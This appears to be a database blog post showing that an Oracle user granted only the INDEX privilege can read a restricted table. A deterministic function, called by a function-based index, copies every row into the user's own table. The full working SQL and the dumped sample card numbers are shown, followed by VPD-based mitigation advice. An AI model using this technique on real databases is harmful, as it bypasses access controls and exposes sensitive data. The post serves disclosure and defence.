Note: this code has been tested on version 19c (19.3.0.0.0)
In this post, I’ll show how incredibly easy is to read data from a table by having only the INDEX privilege granted on it. It’s something I found out when preparing a demo about Oracle Virtual Private Database, you’ll see why later on in this post.
Let’s imagine the following scenario: user SCOTT owns a table CUSTOMERS_CC holding sensitive information about customers
|
1 2 3 4 5 6 7 8 |
SCOTT> select * from CUSTOMER_CC; CUST_ID CUST_NAME CC_NUMBER ---------- -------------------- -------------------- 1 John Smith 1234-5899-7458-1111 2 Brenda Lipson 5093-1214-0875-1496 3 Mark Walfish 9905-8465-3208-5478 4 Artur Tork 5521-4785-0033-7408 5 Robert Koczinski 1457-9650-0897-0000 |
Another user MAINTENANCE_USR has no grants at all on that table so can’t read any data from that table
|
1 2 3 4 5 6 |
MAINTENANCE_USR> select * from SCOTT.CUSTOMER_CC; select * from SCOTT.CUSTOMER_CC ORA-00942: table or view does not exist MAINTENANCE_USR> desc SCOTT.CUSTOMER_CC; Object SCOTT.CUSTOMER_CC does not exist. |
This user has been created only to take care of indexes maintenance on the system. I’m aware that creating such separate user for that task is arguable, mostly considering that usually object owners take care of those operations. But we all know that in real life it’s possible to face the most various configurations, some indeed very original.
Going on with our demonstration, the user MAINTENANCE_USR is granted INDEX privileges in order to take care of index creation
|
1 2 |
SCOTT> grant INDEX on CUSTOMER_CC to MAINTENANCE_USR; Grant succeeded |
Right after getting this privilege the user MAINTENANCE_USR can already see the table definition but still has no access to the data
|
1 2 3 4 5 6 7 8 9 10 |
MAINTENANCE_USR> desc SCOTT.CUSTOMER_CC; Name Type Nullable Default Comments --------- ------------ -------- ------- -------- CUST_ID NUMBER Y CUST_NAME VARCHAR2(20) Y CC_NUMBER VARCHAR2(20) Y MAINTENANCE_USR> select * from SCOTT.CUSTOMER_CC; select * from SCOTT.CUSTOMER_CC ORA-01031: insufficient privileges |
This is expected and the user can start fulfilling his duties by creating indexes on that table but only on his own schema
|
1 2 3 4 5 6 |
MAINTENANCE_USR> create index SCOTT.CUST_IDX on SCOTT.CUSTOMER_CC(CUST_ID); create index SCOTT.CUST_IDX on SCOTT.CUSTOMER_CC(CUST_ID) ORA-01031: insufficient privileges MAINTENANCE_USR> create index CUST_IDX on SCOTT.CUSTOMER_CC(CUST_ID); Index created |
In order to create indexes on SCOTT’s schema, MAINTENANCE_USR needs the “create any index” privilege but that is not needed for our demo.
Now let’s recall the fact that it’s possible to create function-based indexes, things here start getting interesting.
First of all I’ll create an empty table called DATA_DUMP on the MAINTENANCE_USR schema
|
1 2 |
MAINTENANCE_USR> create table data_dump(value varchar2(4000)); Table created |
Now MAINTENANCE_USR can create a nice and simple function that populates the DATA_DUMP table with the values passed to the function itself
|
1 2 3 4 5 6 7 8 9 10 |
MAINTENANCE_USR> create or replace function dump_data(p_value in varchar2) return varchar2 deterministic is 2 begin 3 insert into data_dump values(p_value); 4 return p_value; 5 end; 6 / Function created MAINTENANCE_USR> grant execute on dump_data to SCOTT; Grant succeeded |
As you can notice the function had “DETERMINISTIC” specified so that it can be used on a function-based index.
Now that everything is on place, let’s create our function-based index and make the magic happen
|
1 2 |
MAINTENANCE_USR> create index CUST_IDX2 on SCOTT.CUSTOMER_CC(MAINTENANCE_USR.dump_data(CUST_ID||','||CUST_NAME||','||CC_NUMBER)); index created |
When you create a function-based index, for each row Oracle passes all values to the function and as a result of that our DATA_DUMP table is populated
|
1 2 3 4 5 6 7 8 9 10 11 12 |
MAINTENANCE_USR> select * from data_dump; VALUE -------------------------------------------------------------------------------- 1,John Smith,1234-5899-7458-1111 2,Brenda Lipson,5093-1214-0875-1496 3,Mark Walfish,9905-8465-3208-5478 4,Artur Tork,5521-4785-0033-7408 5,Robert Koczinski,1457-9650-0897-0000 MAINTENANCE_USR> select * from SCOTT.CUSTOMER_CC; select * from SCOTT.CUSTOMER_CC ORA-01031: insufficient privileges |
No need to have a commit in our function (not allowed anyway) cause Oracle issues an implicit commit right before and after every DDL.
As you can see the user MAINTENANCE_USR still has no access to CUSTOMER_CC but was able to read all the data by just creating a simple function-based index.
I decided to test this case when I came across the INDEX parameter in the Oracle Virtual Private Database package DBMS_RLS. When creating a new VPD policy to mask sensitive column, in fact, you can specify to apply it to SELECT, DELETE, INSERT, UPDATE and INDEX statements, being the last option the one that doesn’t allow users to create function-based indexes passing values from the hidden columns.
Just be careful when granting INDEX or even worse CREATE ANY INDEX to any schema that has data access restrictions.
